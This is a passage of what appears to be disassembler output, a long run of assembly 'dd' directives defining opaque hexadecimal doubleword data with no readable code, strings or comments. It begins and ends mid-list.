148A40D9h dd 4D90627Dh, 860024A6h, 0CEDCA881h, 33014B20h, 9D610BFCh dd 9B70788Bh, 0D084500Ch, 11E200EAh, 0A88E9560h, 64280D9Fh dd 0E700ACF4h, 77475954h, 29C198h, 0CB233A05h, 5004DFA7h dd 0D2635300h, 4803B35Ch, 5EF6002Ch, 0EDA7C0DAh, 0C3036712h dd 80986B81h, 0E746B01Dh, 0BEEF02A2h, 47AFB695h, 0E09EDCC1h dd 3E00DDC9h, 7F85CF50h, 0F94922BAh, 76D0B847h, 8BB77Ah dd 10721670h, 0B2F127FDh, 90C8DB01h, 14580248h, 0F31020h dd 574E9EDFh, 0E544E88Dh, 88953126h, 6334FB80h, 3148BB2h dd 0DE473A7h, 0B4FF59FEh, 15B380A0h, 0AF1C867Eh, 4440EAABh dd 0EB436D3Fh, 0E80500CCh, 0E32A6FDEh, 158BDEFh, 0BCCE0377h dd 0C8F1A9D0h, 711870EDh, 0E262387Ah, 0F2C04E28h, 0EEA60080h dd 0B6C26B5Bh, 33042B79h, 0C37A9B7Ch, 878CC5BBh, 49FF2000h dd 0D2180708h, 1EF89314h, 5C8E000Fh, 70A8678Fh, 4C7F5B33h dd 69FB2306h, 80C2ACh, 8DF2DA42h, 0D8A6A0E4h, 0E57C1609h dd 99206090h, 3003010Dh, 4384BF64h, 0E219809Eh, 31DD792Dh dd 0C9F10B75h, 28204C49h, 0FB0AE419h, 63866600h, 0BF07849Ch dd 5E091EFAh, 40A89796h, 87CD6CD8h, 2A00AB7Eh, 680A4140h dd 692327h dd 154629DCh, 268C646Ah, 0C300E9F8h, 0B45E8887h, 7685B1h dd 0D9A093C1h, 799863EAh, 7414E4Ch, 0E7E6EEF7h, 7749FD01h dd 4418C42Ch, 3E521D7h, 9F673609h, 619809Dh, 30CDF6h, 0E8AF5A1Eh dd 35973B9Eh, 4E4B6E1Ch, 0B1652080h, 2960EAh, 0A87686ACh dd 495B274Ah, 6977D31Fh, 0BD3AF807h, 4BA65030h, 45BDA002h dd 826425FBh, 0FE907C00h, 0D8009DBDh, 0F3511ADAh, 7ADC327Dh dd 24CB7004h, 89B89320h, 5800144Dh, 2B8BFB8Dh, 64C17B00h dd 9CF5B0DBh, 167FCE2h, 0C9CA94BAh, 80605215h, 61408760h dd 0E250421h, 9CD65827h, 1FE69240h, 8707B777h, 0AFA7EC7Ch dd 0A0D982C3h, 0ABC88E7h, 4DA3CA48h, 91838EDCh, 8104F838h dd 8EA97200h, 0FD06ABEBh, 85D6C0AEh, 89626422h, 78013092h dd 60B0610Eh, 7660CE45h, 9CE90185h, 849B18ABh, 20E930CAh dd 72A35603h, 2DFA53Eh, 9D9AAD38h, 34E4C129h, 0E2BCA400h dd 2CFADF26h, 86953B54h, 0E4CE5F81h, 0FC97B0C8h, 7200ACBDh dd 0B14BEE18h, 5862FBh, 3DF2D65Dh, 11274315h, 0E86E7400h dd 7C5CD71Eh, 66AD00B9h, 1C9828B1h, 220011DDh, 1E49F336h dd 50EC5476h, 362EA07Bh, 11200256h, 0A48C20E9h, 5E214700h dd 564D35C6h, 7FF0098h, 0D0BE158Ch, 2EFC45D9h, 54E69007h dd 0DF77B869h, 0EC40564Eh, 85D12D1Dh, 3CB1F90h, 6D0DC787h dd 260BD013h, 0AD0052ACh, 0A3BE59AAh, 0E021C990h, 0A2FA31h dd 0AFAB11C5h, 4C5F19A9h, 661EB90Fh, 71F7E0DCh, 2CFFD23h dd 3FBEC169h, 8C517789h, 748A08h, 2DEA0F82h, 2E076F12h dd 9D8853E5h, 0FFFA0280h, 46110028h, 7397E99Ch, 260099ACh dd 0F3273C43h, 31AD1502h, 0D86A8235h, 3EB1CC39h, 642D3700h dd 849D7D1Ah, 0D2430BBDh, 0A7007807h, 0F40BDEA6h, 0D59FDA01h dd 806D94E5h, 3EBEC4h, 0A41BC218h, 0C4FA970Ch, 50FF5230h dd 7C1026h, 69ACC649h, 4D2462BFh, 0C10018F2h, 2A2C6BCAh dd 0BB6FF5h, 88B45DAh, 880930EDh, 0DDA73100h, 6D5FF306h dd 0EE890196h, 0F92FC79Eh, 25782C43h, 0FBC82294h, 0DBC01747h dd 4AA4E8F9h, 2EB4544Bh, 0B90C2602h, 80537E63h, 0C8886292h dd 0D13A8942h, 0A3A5D0DCh, 9D244C54h, 1E03E181h, 0A179501Eh dd 0B8FCFE40h, 98098F04h, 0DB850F87h, 19A7A9D9h, 609D8754h dd 0AB7A0899h, 0F23DDE90h, 0CCC90AAEh, 0D80444E6h, 31E4760h dd 26D6F54Ch, 0B3C89000h, 0A8049561h, 84D50CCh, 7E894D0h dd 15A32EDAh, 8354484Ah, 341DD110h, 0CC7B12D9h, 5A03A428h dd 5C8A9E84h, 0E311E80Dh, 1FCD1EF1h, 80A88112h, 0C3612921h dd 1D27D690h, 39D74101h, 0BC73CF99h, 0E4CCA3FDh, 0DCD80E6Ch dd 94A34850h, 0DAD0611Eh, 9A018567h, 7264BBCEh, 0AAE021CBh dd 28D513A7h, 0D15880B7h, 0C61FC7D7h, 0E9817796h, 0C553ACE5h dd 46FF9E3h, 0B7689Ch, 20F2EEDDh, 4F00C985h, 32CB12D9h dd 1B606BBh, 898C4095h, 3425A6FAh, 0D20E4254h, 0E1ACE868h dd 0CDA343C9h, 213E0898h, 6800DA67h, 0E8470AB6h, 1216DFD5h dd 3AB141Ah, 8A0B64BDh, 51E5D690h, 0AEF6CCECh, 27C06C00h dd 3E408E81h, 7848D9D5h, 8D418FCh, 0B5ACEA68h, 533BC4h dd 59AE6899h, 0DE0F7831h, 803A1E12h, 82AA3E2Bh, 0BB720CA7h dd 223127A4h, 0F524A374h, 6942940Bh, 397603h, 6266219h dd 91E863E9h, 0FBCF21C0h, 1CF5C281h, 60D2E08h, 603FEC5Ah dd 0B2D78A08h, 8DDF04CAh, 29049145h, 9F97D4A1h, 0B0212512h dd 0F6E02040h, 0E0A3BC2Dh, 2B4600FCh, 0FFD15F3Bh, 1A3D22E9h dd 9D94506Ah, 34141978h, 8DB33Ah, 20E2C6AAh, 0FDF699h dd 0D82A7572h, 0A25635B5h, 0AE3A6014h, 0B19E0188h, 96DBC213h dd 903DE920h, 0B2740040h, 17646856h, 0B007F4ACh, 0B1209BA8h dd 3039303Ch, 9E08ABB5h, 0CB002378h, 8B58850Fh, 0C25A0D6h dd 0B7D4E0B6h, 9A079120h, 3AA892E2h, 53833D10h, 82E90066h dd 0BCA16EFCh, 170189E7h, 1136CABBh, 1898F84Dh, 0D3E4D03Eh dd 0F300C774h, 4BF692BFh, 9899B69Bh, 9D5B0C90h, 0C318B2B5h dd 9C35D601h, 82ABFD17h, 0A0C89A03h, 0E3B768ECh, 0B1B1031Eh dd 289F5194h, 2BE1719Bh, 1A198319h, 0CB62E2h, 0A3B81DA8h dd 20BCAB05h, 0BFF5BA00h, 0FD152430h, 6091603Fh, 31587F77h dd 1F8A9000h, 9E25D86h, 2981002Ch, 37E77B32h, 5403A5E1h dd 0C4F74707h, 0D842F397h, 0F0E6E2h, 0A38E2D60h, 2FBE3931h dd 26039A00h, 0CFAE093Ah, 0C7790316h, 9B99E1CDh, 678D5FC0h dd 0D88E3200h, 0C3F5568Ch, 95D31296h, 6200EB27h, 1704C09h dd 21DB0053h, 481849D0h, 0AD01D24Fh, 0F01AEA34h, 0D1C0DF03h dd 9FFF00A2h, 990B76CFh, 0C10774CDh, 0D3A77EB2h, 666880FEh dd 8FDA18h, 0B9BB5A06h, 621A1FD5h, 0EA859700h, 0DE0ADD53h dd 9907001Bh, 4884957h, 37006FA2h, 0D0122073h, 3859ACDh dd 0AEEFF961h, 50B0B1F7h, 0EC002D34h, 0F5988205h, 0CD0E75h dd 4A240957h, 41E61D78h, 23FD6500h, 8DDA9C20h, 7DF40010h dd 3569F32Dh, 8100DF2Ch, 0E2600D71h, 180697E1h, 0C8361D57h dd 0E6FE921Ch, 1E504703h, 0B8C2BFC3h, 44FAAFBh, 0BE405B0Ch dd 90DCC0E3h, 0A430D398h, 8B2A38E2h, 0BC240372h, 0C3A3930Ch dd 1E096101h, 271FD9Eh, 70ED8CCh, 2DB75820h, 0A6BE9040h dd 0C8002E3Ch, 3DA45AFFh, 61395Fh, 6353A041h, 38A6950Fh dd 0F6C33400h, 14DF9E1Ah, 0E2F306A3h, 76217F5Dh, 0A79D3728h dd 0A4489C02h, 401F70AAh, 7CEF2DD3h, 0FF02006Dh, 20E95B7Fh dd 5F003EF6h, 47556C43h, 73240DAFh, 372E02C6h, 0B249F714h dd 0BFA717C0h, 16003C74h, 1DC5BD5h, 3ED1554Ch, 1658CB1Ah dd 52F8BF30h, 0F930B7A5h, 8F79F141h, 0DD8800DCh, 70E9366Bh dd 58007702h, 0F38790CDh, 35571Dh, 67529D78h, 0D32E5CB3h dd 7DA9F01h, 0E1AF2B64h, 7E408F20h, 39BB00C7h, 620649BFh dd 0F800085Dh, 0ED90E120h, 0EDD4Fh, 95D84BDAh, 63B077D3h dd 0A9C7B200h, 0F966F497h, 1DC90748h, 30CF8E46h, 6A419F6Dh dd 81A1A9C8h, 7FAE65Ah, 30BCF9A8h, 841FEE05h, 7E40FEB1h dd 0F5B0197h, 4A1F00CFh, 0AE11D1F4h, 5D001DB6h, 83F81594h dd 0FC27033h, 46B7BC86h, 0A4E70200h, 9B25B9B6h, 14F0F021h dd 983758F3h, 48DAF603h, 0C4A82881h, 7400536Fh, 10DD9B35h dd 0E03758Eh, 0FA4225AAh, 1561C160h, 9B5078D4h, 7C0058C0h dd 0B5601308h, 1D6D51Ah, 0C1944814h, 800BDB9Fh, 129E4D38h dd 3D57BBC3h, 0F400B363h, 0E8AD8F28h, 0A0000DA7h, 1C650955h dd 0FF7732h, 0DE7537CAh, 0FD732947h, 0AFEDB20Eh, 0CC09C34Ch dd 0A9FE9010h, 28B403D0h, 8B48FFAEh, 8E18C6E8h, 7247681Eh dd 26E9184h, 0EC240CC0h, 37E600B6h, 4F36F686h, 40003EFCh dd 0F8DBF571h, 69AA9h, 0A7965052h, 0C8623944h, 8FBA8B03h dd 0B894BB1Eh, 3E5D8CCFh, 0E40096F3h, 0BE71D949h, 48DC3D05h dd 0B0E859C0h, 1FE27D24h, 409F4433h, 9CE3531Dh, 4000DC81h dd 5DFCE12Ah, 905C8Ch, 0A1D21A42h, 5014D9E8h, 0D4169E00h dd 0DDA34F82h, 0ECBE00CBh, 0FC1309E0h, 7600B992h, 25AEEDA8h dd 386EA4Ah, 48D5E6D2h, 0C5B06D30h, 2100C754h, 7141F0C4h dd 49E5643h, 5AA68206h, 151180C2h, 1A00D8E2h, 5C280513h dd 324296Dh, 4FF54034h, 0DAD851CDh, 0F300C0B9h, 981C13C3h dd 81CCD9h, 11ED58E5h, 6C4A7602h, 431B1F00h, 0C022B1FAh dd 0DB7400B8h dd 3D7F69Eh, 2C788701h, 8088C938h, 0BED77FDh, 51C895h dd 0CEF4A874h, 0B6BABD13h, 611CAD07h, 0A321390Fh, 802AF583h dd 0C1BD9529h, 505C7900h, 0C94AB432h, 307C0031h, 3C07CE84h dd 0D87CC782h, 9E53211Ch, 2FE50500h, 5B59B3D2h, 0C523B096h dd 0DCD9C807h, 1050C4B8h, 369DF1Ah, 2C307F17h, 0B5E906FFh dd 4D16D8E6h, 40514303h, 0E8689BA4h, 384B9693h, 8B006E7Ah dd 0AABC949h, 9C00D931h, 5BF9A2F0h, 60354E2Ch, 0FF1CD0F5h dd 4C3FD1E2h, 0A91580DCh, 8A8E29A1h, 0CCB0505Fh, 55660014h dd 0D6E436E6h, 0BD7070DEh, 13FE100h, 30A69420h, 997100E2h dd 2BE880AEh, 8B065776h, 6B1929CDh, 0DF7B19h, 913D1F6Fh dd 7BC533C1h, 0C6526500h, 6CF2BA57h, 816A0075h, 0CCA06753h dd 0DE009583h, 0FCF73D3Fh, 0CB8B23h, 0C3B8C5E4h, 0CC087516h dd 3D4B9000h, 0DD6932E3h, 879500C2h, 0A6F1CF02h, 0CDE41AA1h dd 0B10031EEh, 0C42ED83Ch, 428F3ABh, 8E0EE040h, 6F8DC15Fh dd 0A0E7FB7Fh, 2FCBD06Bh, 0C4320800h, 835D6A70h, 0DE2006Dh dd 0B0941A3h, 0BD13D474h, 7000478Ch, 616398B7h, 0F139003Bh dd 0AB900E78h, 440081B2h, 0E36224BBh, 481394C9h, 78000614h dd 7503CCDCh, 0A00E91D6h, 43FB8218h, 803EC27Ah, 0AE71EAh dd 0CCD34842h, 0E881FE8Fh, 4B00CFE0h, 9045396Dh, 7ADBA3h dd 72CB01A6h, 0E5B25D99h, 6190BB76h, 3748082Ch, 40F5AD0Fh dd 998431C8h, 0E800070h, 0B43583DCh, 0CC0FC4BDh, 47E91E14h dd 13207BC9h, 7D0EB163h, 44D50095h, 6B38E572h, 9100BADFh dd 8FCBA594h, 7BDCF93h, 3EBFC648h, 0EA1820A1h, 9D0F64CEh dd 0F2E8228Eh, 0C1DF5C0Fh, 0BE6AA40Dh, 219E1080h, 55E57557h dd 2500B674h, 44D2F9AFh, 2EDECDh, 88B77260h, 0E5A28C3Ah dd 891ED53Dh, 8042703Eh, 0F4E31108h, 15BB8FCh, 9ACB5B50h dd 80633BBCh, 1C037A80h, 0F78E4D96h, 1E098760h, 300873FAh dd 0F13290A1h, 0BC5E4905h, 2F80478Dh, 0DE2E5691h, 261F20h dd 176E1659h, 21B8C764h, 20926707h, 86801457h, 75693641h dd 44FCCEh, 8C965C8Bh, 66C82691h, 9D1ABD00h, 0A0BB78FEh dd 0D1C905BCh, 83035AF8h, 7FBB47D2h, 9D5697D9h, 74C32E71h dd 41C2FCAh, 638413A0h, 9100164Fh, 8B19A33Eh, 2C880E8Ah dd 0EAE013C6h, 496EBCFh, 0CB865900h, 0F4077668h, 97C0595h dd 30C73F6h, 0F0569278h, 319583Eh, 1D842FBAh, 1B88A0C2h dd 3C8D51EEh, 144236D1h, 163B00CAh, 0EA001F8Bh, 95ACF71Dh dd 0CCF196h, 649C5782h, 52DBA26Ch, 8DDEC100h, 0F2D13115h dd 32180039h, 0B91DF8C9h, 71008274h, 0F76311D7h, 0A9775Ch dd 86CDC530h, 0F87B5DB8h, 3DBE9900h, 3E82258Eh, 1783137Ah dd 0F57006Fh, 0F6083B53h, 0F8BB2400h, 3D7564A3h, 0F58103F9h dd 0E9710493h, 20BF2880h, 8B9E7300h, 0C31D4705h, 0B931F65h dd 45B7808Ah, 56461E87h, 7F86241Dh, 5F3C1200h, 848D77h dd 0BE6CEA60h, 0D49CA6E2h, 94005E7Dh, 11DC0918h, 13645243h dd 0D2AB39h, 1D801333h, 4000AC7Bh, 0A51C7D5Fh, 0E2DC98Bh dd 0D49083F1h, 1B5EE782h, 70ECAC80h, 95246D74h, 8300D8D7h dd 0B2481606h, 1CBCEA7Ah, 80332724h, 99C0E2ADh, 9C7D3187h dd 4A9BB100h, 4C95E71h, 704E00DAh, 0CDC7D80Eh, 80009793h dd 0D072AF45h, 0FEA95F4Fh, 0F3EB07BBh, 0C71E631Bh, 0C0ABA0C1h dd 64094D62h, 80C7EC01h, 0BE1339E3h, 0E39A0093h, 6840EE97h dd 0AE1CF032h, 234160A6h, 0D1D0131Ch, 7480BCF5h, 2EE0CDDDh dd 6E3B5399h, 1ED28059h, 5B54F84Dh, 9BED047Ah, 80143872h dd 0AA32AFF0h, 0E46510Eh, 398983A3h, 60E9C89Fh, 42DF181Bh dd 0D96D2813h, 3F53F700h, 458EDB16h, 39ACB284h, 7D007746h dd 65330C66h, 4E26CD08h, 1D802056h, 50C34B01h, 0ECDA5C09h dd 80601724h, 0A6746EB6h, 0B0B0CF2Dh, 0F56B2C13h, 0B8403013h dd 966CE9ABh, 0EDA405D8h, 0C07721FAh, 0A1DDF2D1h, 7D3CA00h dd 6A66E61Fh, 0C1500E7Eh, 0F520805Fh, 232A68B4h, 6BCBDA01h dd 64300D57h, 1B44CCh, 0BAF72F0Ch, 0A58B9BD1h, 0F0ED6C38h dd 4298F400h, 0FC1C6220h, 45D20EE5h, 53D336DDh, 0F4F0008Ch dd 245D15EDh, 76B46C00h, 9FDD4206h, 0EEBE0359h, 75453760h dd 64904390h, 0CA521206h, 2AF80BC7h, 7698696Eh, 5E8205EFh dd 0C5CCEBh, 8A88F9BCh, 0E5137A03h, 0CB16E7A4h, 175DB005h dd 0F26304C0h, 44480027h, 1126324Ch, 7171E308h, 57DDE407h dd 4FE25247h, 0CA9C87FFh, 0CE5A6550h, 51F000A9h, 0FDDCC77Dh dd 48028428h, 7CA055EFh, 7280E05Dh, 238E1CECh, 0C0791C03h dd 416BD16Dh, 93D1997h, 4C5F26B5h, 0F0DC3581h, 0A4D094F4h dd 56CC095Ah, 557770h, 5712D442h, 0B3670021h, 5CE3B31h dd 0A009AC27h, 803ECABFh, 0A71D6253h, 923A3807h, 7458BA80h dd 34832B7Bh, 194FC600h, 0D50124E2h, 26540057h, 41BEB84Eh dd 470E6B70h, 40658D28h, 0EB95971Eh, 500D7699h, 24A69077h dd 0F805733h, 55C0FFBBh, 114D2BABh, 99D01916h, 6802AB04h dd 131A2C90h, 0A5350141h, 0B35201E1h, 0FDA435F3h, 0FC8AC40Dh dd 29286A00h, 42CFCBDCh, 8255CBAh, 0CA399A00h, 94DBC4F3h dd 5E782900h, 3D3EBC51h, 1828BA2Fh, 0E645ECA9h, 5A001F70h dd 69E86DFBh, 1CDE76Ch, 21D2931h, 0DC7248D4h, 0F4077843h dd 0B7A6FE25h, 35528029h, 0BD0637h, 0FC76269Fh, 0A3D8C9D0h dd 3038CF24h, 9C8A3F00h, 70905A1Eh, 9DB9000Fh, 0A9417660h dd 0BC5CEB31h, 11B50009h, 0D7CD7585h, 0E5200F0Ah, 3A206F65h dd 38191C6Ah, 15F57D00h, 0A4BCD56Eh, 0F2070514h, 0C0FEBBF9h dd 0F1373C94h, 21AC0100h, 0D99E3F31h, 0FA100B8h, 3EF61C7Ah dd 6EE8B0BAh, 0B47EE892h, 0A540E418h, 58B9BEC8h, 5D0EFCE1h dd 0ACE0BB19h, 89D3601Bh, 0A7CDE600h, 41CE626Fh, 3B4502C6h dd 953E7442h, 8000C950h, 552C238Fh, 390EFB0h, 1AAEA993h dd 3DE23A3Ch, 958684A0h, 0F770128Fh, 78E95D30h, 78B8C52h dd 4522F3BEh, 0C620CF78h, 25A00DD3h, 6A4B2D00h, 0DFA994DDh dd 0C3F059h, 0BDC9D8CAh, 0EE68017Eh, 17821100h, 95DBCEA8h dd 8C222858h, 8FD50488h, 92C0447Dh, 9CE5C388h, 7941A7C0h dd 0BCD604FDh, 0B1FFB02Ch, 1F5BDC3Ch, 0C49FDB1Eh, 0C0BD7D86h dd 73C93A39h, 0A1D73B00h, 5DEBB55Fh, 0E140441Dh, 0C6C093DCh dd 4AB79D42h, 2E9F07C9h, 0D0688A8Fh, 53CEFC81h, 8044B325h dd 0B9BA0210h, 0B0A81FA6h, 25B36CECh, 0D0F60C07h, 9741C20h dd 0FEB4E100h, 5127B2CDh, 1FB9038h, 4E67C7E5h, 0C530E8A0h dd 24B08180h, 3D0A9ED8h, 38E9DCh, 94FC04C7h, 3BAD6365h dd 0F8E8E200h, 2E74A159h, 0A3C52832h, 0E3EEBCh, 0B9DE6A3Dh dd 54813303h, 780AE3Ah, 0F46C823Bh, 384FC490h, 0C9BD01D5h dd 0CF4E040Ch, 48108037h, 237E458Ah, 59A76097h, 0FA3D7F34h dd 52E97000h, 0B7917B19h, 0E6EF0031h, 0C469BE42h, 700BFF7h dd 973F9526h, 3A147Dh, 2CED3E03h, 0A937AE25h, 98F358h dd 2FE3CEDAh, 2620099Ah, 0DCC963h, 0B28CA7FEh, 36006CF5h dd 119B40EAh, 0E4ADB915h, 7D57690h, 6CEDAF05h, 6479C06Fh dd 0DEFEE036h, 193F7090h, 420E0B97h, 0C65800B9h, 0FAEB7C09h dd 5B8D079Fh, 500BD057h, 0BF85D789h, 4C041400h, 744142C5h dd 0F2710F35h, 0C741DBE9h, 0D806E725h, 0D705D57Ch, 50B02F9Bh dd 0EA000CC7h, 887472h dd 17CDFB7Fh, 8C047107h, 43BB731Eh, 0B66AE381h, 0E9FDBA7Ah dd 349C0C21h, 4E7C000Bh, 63643D3h, 7D900D00h, 242367F7h dd 48C400DBh, 6520C737h, 7A07A1DAh, 0D7282D3Ch, 30574710h dd 0F3E8006Fh, 51071290h, 0AA00AEEEh, 4FC248B1h, 480FCC14h dd 4A789419h, 0FD68415Fh, 0E0997906h, 860977AAh, 4491EC1Bh dd 0E4752578h, 0CC0C8420h, 9037295h, 0D66961Ch, 0AC01FE8h dd 0D37900ECh, 8DDE6D04h, 0FB94F4Ch, 0EFB6BC56h, 0CA38E78Eh dd 4B7F1D5Fh, 88612C18h, 0CFD72A7Dh, 47180C84h, 0C560917Eh dd 9DC63201h, 0FD980F41h, 7750841h, 31097189h, 0D491980Bh dd 3DE0D59h, 80A39AE9h, 148E0AC2h, 0D7F43140h, 0F3006113h dd 0C22DB949h, 4AA4DAF0h, 0BAC43167h, 72C3DCBFh, 981AD201h dd 63C6FB6Eh, 78CDFCh, 1050181Fh, 80567D85h, 463FC700h dd 367A2427h, 3E3D0086h, 53665704h, 8A1D1A5Eh, 5080EBDEh dd 77FF4A19h, 94E0FEh, 6C994D66h, 91563F33h, 63EB1200h dd 0B9AC269Ch, 69370088h, 0B829E416h, 0F00F507h, 39BFE292h dd 8296FCh, 65CFD57Eh, 0E48FDC26h, 0A5542DEAh, 4A7EA84h dd 85D24500h, 0D54D8Ah, 8DE7A292h, 90C7C118h, 0BFD36307h dd 5A201AEAh, 0C3658839h, 0CAF75F30h, 4B1D4000h, 0CB3CBCD9h dd 31430006h, 0EB1AE716h, 801E77FDh, 0C79B13B5h, 0A1ADA820h dd 60BF297Eh, 213DCA20h, 0A4991E20h, 69844158h, 5085FDE2h dd 0EF2C45E0h, 946CDD00h, 0D2B2A161h, 7C960B47h, 0F381354Dh dd 80CD3C89h, 557BAEE9h, 90CE478Ch, 94F663Ch, 8E1221B3h dd 510055C2h, 4840A9B1h, 0F17201B8h, 344B0749h, 128441BCh dd 1F3183C9h, 810A98DDh, 0B4483059h, 9326008Ch, 0B6B3A4ADh dd 977E9FBEh, 9CDDA900h, 3B1E36BBh, 3D1500C5h, 1D8275CBh dd 0C350B543h, 63180A80h, 0B768B253h, 0D2123FD7h, 7061233Ah dd 50160CC1h, 6AE24EDCh, 0FDE30719h, 40C89B79h, 8F28C2D4h dd 0AF01F545h, 72EA7FF4h, 8CB9014Ch, 584F790Dh, 0B0A820AAh dd 22BF08C9h, 0C064D8BCh, 0AF0BC95h, 5D219A4Bh, 2B6260B8h dd 3A50BED2h, 0C8013FA4h, 0DA04323h, 99306F4Fh, 45F0022Fh dd 78F4AE53h, 0D873C90h, 0C04F7411h, 0DB80C488h, 46B50D5Fh dd 4DD40060h, 50211D57h, 190A99B2h, 0E829E53Fh, 5BFCDEh dd 1DE78F31h, 0C3AC5C98h, 8A6DE03Bh, 0BCBF753Bh, 0B38F5E04h dd 46B84C86h, 0D8B027Ch, 31604F78h, 63D710BEh, 0BC4000Dh dd 0F2FA4867h, 8301734Eh, 0DD45E361h, 0A820EFEAh, 0EB6F145Ah dd 89029084h, 0A35B5411h, 0F792F480h, 0C2BFE8F9h, 71B4205Fh dd 0C748814h, 0C53C8CD8h, 17004BD1h, 0DD159BB2h, 0ED15956h dd 748F25B9h, 0AB00972Eh, 0BCEB871Eh, 61186909h, 339C10E6h dd 73750083h, 0CAD0B409h, 9574DC92h, 20713A6Eh, 2393758Bh dd 0AA61008Dh, 0FE2AC8D2h, 320097C0h, 5A54C728h, 306B1370h dd 9BB8B0E7h, 61C01047h, 4B180CA1h, 389E1263h, 20C003CBh dd 0F0638C5Fh, 991C0838h, 7424D1B1h, 0A5F7209Bh, 7DCEBC09h dd 0CA98E830h, 81CF0070h, 1C2E5A1Bh, 8CC8A75h, 0B021A2h dd 0AE57CF78h, 2BDC1E52h, 28CCEA00h, 0C2D5479Eh, 0AB8A536h dd 5E88687Dh, 0F30E3946h, 0D640ED05h, 1B1D5D33h, 0DC19A524h dd 48C0EB13h, 12BF2513h, 0D02F0A36h, 89527154h, 0D4CBAF00h dd 0E87F78C2h, 704F5083h, 71F4091Fh, 2400B14Dh, 0E2459279h dd 0E6202E50h, 82A3E93Fh, 4D72C87Fh, 3D7044F5h, 5CC8DF45h dd 2AD0ED10h, 0A487C814h, 2F60C9C4h, 31B83B87h, 0A8131EB0h dd 3408DF37h, 82D2841Dh, 0E100AED9h, 901AE654h, 18FB1245h dd 86C808E5h, 8D5578C0h, 22764647h, 0BFFAB7h, 6FD72D55h dd 0D41A3889h, 8C52EF00h, 1592783Eh, 942E00ADh, 0B0A80D43h dd 24998DE2h, 3518BED1h, 0A72A6001h, 0F409597Bh, 2180CCF9h dd 3F821681h, 3A0E77F0h, 8086F77Fh, 0DC089C8Bh, 4E8112AEh dd 0BF5004BBh, 30C322A8h, 7F10CF76h, 0AAE08A1Bh, 0F701CF7Eh dd 0F0EE5D1Ah, 8057BF3Ch, 0A09F3FD0h, 1DF415h, 97C9A374h dd 73CAEB3Ah, 69C1E700h, 13D1BBB8h, 81C0614Bh, 60518801h dd 0D7C09BCh, 8DE80513h, 741CD4D5h, 816F8050h, 9B0E9F81h dd 78289603h, 4F0607F8h, 2883AB27h, 638F6F05h, 0EC94B107h dd 0A1DC18C2h, 0E0429990h, 69D79BF8h, 508520C4h, 6F589279h dd 389870FAh, 551B111Eh, 5833678Ch, 0A2BE12CDh, 4DC00096h dd 8C126515h, 76011093h, 66478755h, 8B88B818h, 7A550E7Dh dd 272695DFh, 0FC98B1AFh, 18B89B2Eh, 0C69D3341h, 0F9A4D00h dd 60A8C165h, 0B788108Eh, 0ED2BFFC0h, 7A5D02E2h, 0AA536B07h dd 10CBF4C9h, 25B22F1h, 0EEB2107Bh, 841B0E4h, 0F80A13A7h dd 1FC93F91h, 0EABBA8h, 99CBA303h, 0D11E6702h, 0D3D5CA94h dd 0C24500B0h, 59DB265Eh, 46A72D0h, 81F33CAAh, 3D24911Dh dd 0C67980BDh, 0B89927DEh, 53B900FDh, 0DAC27AF4h, 0FB021CAEh dd 62212581h, 0E850431Dh, 48DCBE2Ah, 499F4C7Dh, 2C6807C1h dd 0B1C09B30h, 7D3F7FECh, 70530064h, 0FB5E3609h, 0C10BE2D7h dd 0C0D4B2E8h, 1EB9277Bh, 5D4FCA4Ah, 0BC003EF0h, 65603114h dd 0BB0745EAh, 808E73B8h, 211746h, 3B603933h, 0D1695E48h dd 430B0407h, 5A5029F6h, 0E6794Fh, 0C4B635DAh, 0D36ED585h dd 0F352CF01h, 0F4BB2737h, 599C4880h, 57357807h, 3D206E0Ch dd 0C0A708AFh, 7A07B21h, 97264DDEh, 6D18F2C0h, 14EB81h dd 0CCCBA622h, 0C6C13D7Ah, 306C073Ch, 10F4207Eh, 0A47300C7h dd 88794631h, 0B1006B9Ah, 1AFF6ECAh, 3242B38h, 75DEE8F7h dd 0A6E06F35h, 0E230A1BCh, 0B4CA4020h, 36B00063h, 0CE0F6006h dd 8CC785Fh, 0E121B9h, 0E49BB06Bh, 69775D72h, 29D9F100h dd 9257F65Eh, 0EA590626h, 0A8B736F4h, 0E6317F05h, 8801BC40h dd 6FE10AFFh, 706CDAC8h, 442CA064h, 2953076Ah, 3CCB8D84h dd 0DB0072D1h, 235531D0h, 195B8A2h, 3BD91485h, 0DCEA6479h dd 6E54D480h, 37000790h, 2C78C11Eh, 0B14C19h, 4EB8A92Fh dd 6B54CEFFh, 619ADA06h, 617DCAh, 5E21DE65h, 0DF027E74h dd 0DA146B00h, 0FDB66328h, 0A1C00A8h, 0EB4917DDh, 0AA606C98h dd 4E156A40h, 85E0C7A4h, 0A281CC32h, 0C2BE1401h, 0BF768859h dd 0C3DC60D8h, 550201F8h, 231B1F9Ch, 76F90708h, 0D1A9304Fh dd 0BC5497BDh, 9088431h, 5480C7B2h, 0AAA614E9h, 0A2D804A8h dd 2FB06260h, 11680623h, 6A9E00B8h, 95765AB0h, 3CB7ECA3h dd 98CCDD0Bh, 353854h, 49F59AFEh, 0E38F315Fh, 610108ECh dd 0EF7925AEh, 0C370C3A9h, 0B9B51CAFh, 0BD39F027h, 1800663Eh dd 0C200EAEh, 39295BAAh, 934CBB75h, 70EE390Ch, 0B3073C0h dd 0F25F91D7h, 0B71F0179h, 0BB422DB8h, 7418809Ch, 555BB63Bh dd 85E8A0CCh, 0C9A62838h, 0D0E080ACh, 0E0BE1433h, 470990EFh dd 0E01D941Ch, 42801C11h, 93627E76h, 24D9E93Fh, 0A60476B7h dd 8DB4958h, 0DD05C780h, 0DA2E8265h, 0F100CE09h, 0B0E65E2Ch dd 771C00E9h, 5DAB296Fh, 544C83F3h, 0DD3C8704h, 75390861h dd 0F4402FEDh, 7706BEh, 45CD4A67h, 9ACAF502h, 3909FCA0h dd 0F829716Dh, 603430CAh, 5DEA5E11h, 0AE831A88h, 0D038603Ch dd 0E05843Eh, 3186D67Dh, 0D0CE6Ah, 358742EBh, 0E55308BEh dd 144E1CB0h, 822C58C0h, 445BE2h, 0C93D7D64h, 0ACF7197Ch dd 557ACE0Ah, 390CD84Ch, 4E971F1h, 1609F0D2h, 4C609071h dd 0C3023E59h, 0AC352CCCh dd 5E644186h, 33B0DC19h, 11480623h, 669A008Dh, 3FD538B0h dd 796AE0D2h, 9A49061h, 8D4C9635h, 465A30A1h, 0C2E4EF75h dd 5C303ABCh, 35771107h, 80A688AFh, 7A07A37Ch, 491422DBh dd 14DFA931h, 60C0BC4Eh, 83C6B3Ah, 84023029h, 0EE325AD8h dd 0A4062119h, 460E710h, 220C9AACh, 0B2C6D35h, 18336C15h dd 2064CA0Fh, 891104D2h, 25413400h, 